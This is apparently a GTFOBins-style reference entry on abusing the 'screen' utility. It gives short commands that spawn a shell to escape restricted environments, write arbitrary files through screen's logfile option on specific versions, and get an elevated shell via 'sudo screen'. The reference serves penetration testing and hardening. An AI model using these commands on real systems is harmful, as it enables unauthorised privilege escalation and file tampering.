It can be used to break out from restricted environments by spawning an interactive system shell.
screen
It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.
This has been found working on screen version 4.06.02. The file has a trailing ^C
character.
LFILE=file_to_write
screen -L -Logfile $LFILE tail -f /dev/null
DATA
^C
This has been found working on screen version 4.05.00. The file has a trailing ^C
character.
LFILE=file_to_write
screen -L $LFILE tail -f /dev/null
DATA
^C
It runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on sudo
.
sudo screen